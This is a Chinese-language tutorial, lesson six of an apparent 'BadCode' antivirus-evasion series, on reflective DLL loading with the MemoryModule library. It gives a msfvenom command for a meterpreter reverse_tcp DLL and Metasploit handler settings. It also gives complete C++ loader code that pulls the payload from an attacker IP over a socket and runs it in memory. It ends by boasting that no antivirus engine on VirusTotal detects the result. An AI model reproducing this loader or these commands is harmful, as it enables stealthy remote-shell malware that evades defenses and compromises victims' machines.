前六课的代码将会上传至Github,方便读者下载研究 : https://github.com/Rvn0xsy/BadCode

0x01 MemoryModule

先来介绍以下MemoryModule这个项目的来源。

MemoryModule-实现原理

项目背景:Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。

爱折腾的程序员自己也想实现这个过程,那就是反射,这个反射机制就是将Windows PE格式通过自己写的代码进行解析,并把不同的节数据加载到内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

当一个Windows PE格式的文件变成了一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,因此反病毒软件也难以查杀。

MemoryModule就是实现了这个过程:https://github.com/fancycode/MemoryModule

但是资料都是英文的,我在国内的社区上找到了中文版本的:https://gitee.com/china_jeffery/MemoryModule

0x02 反射DLL加载的实验

首先体验一下正常DLL加载的过程:

写一个DLL:

#include <Windows.h>

VOID msg(VOID){
	MessageBox(NULL,TEXT("Test"),TEXT("Hello"),MB_OK);
	return;
}

这里我采用了Def文件来进行导出:

2020-01-03-13-05-56

2020-01-03-13-06-15

#include <Windows.h>;

typedef VOID (*msg)(VOID);

int main()
{
	msg RunMsg;
	HMODULE  hBadCode = LoadLibrary(TEXT("BadCode-DLL.dll"));

	RunMsg = (msg)GetProcAddress(hBadCode,"msg");
	RunMsg();
	FreeLibrary(hBadCode);

	return 0;
}

通过LoadLibrary这个API来加载DLL文件,使其运行,看起来是一个基础操作,那么还有另外一种方式吗?

接下来贴上MemoryModule的使用方法:

  1. 将要加载的PE文件读入内存
  2. 初始化MemoryModule句柄
  3. 装载内存
  4. 获得导出函数地址
  5. 执行导出函数
  6. 释放MemoryModule句柄

这里我将MemoryModule项目代码放入当前项目:

2020-01-03-13-06-38

主要是:MemoryModule.hMemoryModule.cpp

加载代码

#include <Windows.h>;
#include <stdio.h>
#include "MemoryModule.h"

typedef VOID (*msg)(VOID);

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
	DWORD dwHighFileSize = 0;
	DWORD dwLowFileSize = 0;
	// 打开文件
	hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
	if(hBadCodeDll == INVALID_HANDLE_VALUE){
		return GetLastError();
	}
	dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
	return dwLowFileSize;
}


int main()
{
	msg RunMsg;  // msg函数的函数指针
	HMEMORYMODULE hModule; // MemoryModule句柄,应该可以这么理解,,
	HANDLE hBadCodeDll = INVALID_HANDLE_VALUE; // 打开PE文件的句柄
	WCHAR szBadCodeFile[] = TEXT("C:\\Users\\admin\\Documents\\Visual Studio 2012\\Projects\\BadCode\\Debug\\BadCode-DLL.dll"); // PE文件的物理路径
	DWORD dwFileSize = 0; // PE文件大小
	DWORD dwReadOfFileSize = 0; // 已读取的PE文件大小
	PBYTE bFileBuffer = NULL; // PE文件的内存地址
	
	// 打开文件
	dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
	// 如果打开失败直接退出
	if(hBadCodeDll == INVALID_HANDLE_VALUE){
		return GetLastError();
	}
	// 申请放置PE文件的内存空间
	bFileBuffer = new BYTE[dwFileSize];
	// 读取文件
	ReadFile(hBadCodeDll,bFileBuffer,dwFileSize,&dwReadOfFileSize,NULL);
	// 如果读取错误直接退出
	if(dwReadOfFileSize != dwFileSize){
		return GetLastError();
	}
	// 关闭打开PE文件的句柄
	CloseHandle(hBadCodeDll);
	// 导入PE文件
	hModule = MemoryLoadLibrary(bFileBuffer);
	// 如果加载失败,就退出
	if(hModule == NULL){
		delete [] bFileBuffer;
		return -1;
	}
	// 获取msg导出函数地址
	RunMsg = (msg)MemoryGetProcAddress(hModule,"msg");
	// 运行msg函数
	RunMsg();
	// 释放资源
	MemoryFreeLibrary(hModule);
	// 释放PE内存
	delete [] bFileBuffer;

	return GetLastError();
}

运行结果:

2020-01-03-13-06-52

能够看到,成功加载并执行了msg函数。

0x03 反射DLL与MSF联动

不知道大家还是否记得第五课的Socket方式加载Shellcode,这里我将复用第五课的代码来实现与MSF的联动免杀。

思路是这样的:

通过Socket将Msf生成的DLL给接收到内存中,然后载入MemoryModule中,直接执行。

生成DLL

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.170.138 LPORT=8899 -f dll -o ~/y.dll

2020-01-03-13-07-02

生成了一个5120字节的DLL

然后设置一下MSF DLL发射器:

msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.170.138 -P 8899
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.170.138:8899 
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
payload => windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.170.138 
LHOST => 192.168.170.138
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > set DLL ~/y.dll
DLL => ~/y.dll
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.170.138:8888 
msf5 exploit(multi/handler) > 

此时就需要来撸码了,实现一个客户端,去Msf上获取DLL:

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*512
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){
	
	DWORD dwError;
	WORD sockVersion = MAKEWORD(2, 2);
	WSADATA wsaData;
	SOCKET socks;
	SHORT sListenPort = 8888;
	struct sockaddr_in sin;

	if (WSAStartup(sockVersion, &wsaData) != 0)
	{
		dwError = GetLastError();
		printf("[*]WSAStarup Error : %d \n",dwError);
		return FALSE;
	}
	
	socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (socks == INVALID_SOCKET)
	{
		dwError = GetLastError();
		printf("[*]Socket Error : %d \n",dwError);
		return FALSE;
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(sListenPort);
	sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.138");

	if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
	{
		dwError = GetLastError();
		printf("[*]Bind Error : %d \n",dwError);
		return FALSE;
	}
	
	int ret = 0;
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
	ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

	ZeroMemory(bFileBuffer,PAYLOAD_SIZE);

	
	ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

	if (ret > 0)
	{
		closesocket(socks);
	}


	return TRUE;
} 

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
	DWORD dwHighFileSize = 0;
	DWORD dwLowFileSize = 0;
	// 打开文件
	hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
	if(hBadCodeDll == INVALID_HANDLE_VALUE){
		return GetLastError();
	}
	dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
	return dwLowFileSize;
}


int main()
{
	
	HMEMORYMODULE hModule;
	Module DllMain;
	bFileBuffer = new BYTE[PAYLOAD_SIZE];
	GetPEDLL();
	// 导入PE文件
	hModule = MemoryLoadLibrary(bFileBuffer);
	// 如果加载失败,就退出
	if(hModule == NULL){
		delete [] bFileBuffer;
		return -1;
	}
	// 获取msg导出函数地址
	DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
	// 运行msg函数
	DllMain(0,0,0);
	// 释放资源
	DWORD dwThread;
	HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);
	
	WaitForSingleObject(hThread,INFINITE);
	
	MemoryFreeLibrary(hModule);
	// 释放PE内存
	delete [] bFileBuffer;
	return GetLastError();
}

GetPEDLL函数主要是从MSF上获取DLL,通过recv函数不断接收,偏移获得DLL地址,然后扔给MemoryGetProcAddress。

实现效果如下:

2020-01-03-13-07-19

0x04 总结

注意:学习的过程中,不同位数要对应不同的payload,编译平台也要互相对应

第六课就到这里了,主要是引入反射DLL加载这个技术,以及如何使用这个技术,如果想深入研究,还需要学习Windows PE相关的基础知识。

老样子,V站查杀一下:

2020-01-03-13-07-29

挑战了全球的AV,全部通过

https://www.virustotal.com/gui/file/f27a16434684986206921c63a3d5d71e5ede3f95a6175fd9572a5b5029adc28c/detection

所有的新技术,都离不开强大的基础知识的铺垫,通过积攒基础知识,使自己能挑战更多的”不可能”。